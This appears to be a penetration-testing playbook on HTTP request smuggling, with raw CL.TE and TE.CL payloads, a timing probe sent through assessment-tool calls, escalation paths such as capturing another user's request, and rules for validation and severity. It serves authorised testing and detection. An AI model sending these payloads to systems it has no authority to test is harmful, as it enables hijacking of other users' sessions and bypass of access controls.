HTTP Request Smuggling
Objective
Identify HTTP desync vulnerabilities where a front-end proxy (CDN, load balancer, WAF) and back-end server disagree on where one HTTP request ends and the next begins, allowing an attacker to smuggle a prefix onto another user's request.
Variants
| Variant | Front-end reads | Back-end reads |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | Both TE headers | Only one (obfuscated) |
Detection with Smuggler
# Automated sweep — tests all three variants at 1 req/s
khaos_run_catalog_action("smuggler", assessment_id, endpoint)
# Output: "Possible vulnerability" lines per variant + timing delta
# Flag: delta > 2s on a CL.TE/TE.CL probe = likely desync
Manual Verification: CL.TE
Send a request with a Content-Length header the front-end trusts and a Transfer-Encoding: chunked body the back-end reads.
POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked
0
X
The X is "smuggled" — if the next request to the back-end gets an unexpected X prefix, the front-end forwarded the full CL body but the back-end terminated at the 0\r\n\r\n chunk end.
Manual Verification: TE.CL
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end reads chunked (terminates at 0\r\n\r\n), back-end reads CL=3 (terminates after 8\r\n), leaving SMUGGLED\r\n0\r\n\r\n as a prefix on the next request.
Timing Oracle (non-destructive probe)
# CL.TE timing: send 6 bytes CL, 0-chunk body, then wait
# If >5s response delay → back-end waiting for more chunked data → CL.TE present
khaos_http_request(assessment_id, {
method: "POST", raw: true,
body: "POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX"
})
Impact Escalation Path
- Capture another user's request — smuggle a partial POST to a handler that reflects the body (e.g. a search endpoint)
- Bypass front-end access controls — smuggle a request to an internal-only path the front-end filters
- XSS via smuggled response — desync response queue to inject script into a victim's response
Validation Requirements
- 3 independent reproductions with timing deltas recorded
- Each reproduction must show a consistent delay or body prefix on the follow-up request
- Use
khaos_http_requestfor the follow-up probe (not automated tools) so timing is controlled - Record raw HTTP exchange as evidence
False Positive Mitigation
- Timing deltas under 1 second are noise; require ≥ 2s consistently across 3 runs
keep-aliveconnections only — confirmConnection: keep-alivein both probes- Re-test after switching User-Agent to rule out WAF-specific filtering
- If the endpoint uses HTTP/2, downgrade to HTTP/1.1 (smuggling is H1 only unless h2c is involved)
Finding Classification
| Impact | OWASP | Severity |
|---|---|---|
| Request capture / account takeover | A01 | CRITICAL |
| Front-end bypass | A01/A05 | HIGH |
| Cache poisoning via smuggled response | A03 | HIGH |
| Timing oracle only (no escalation) | A05 | MEDIUM |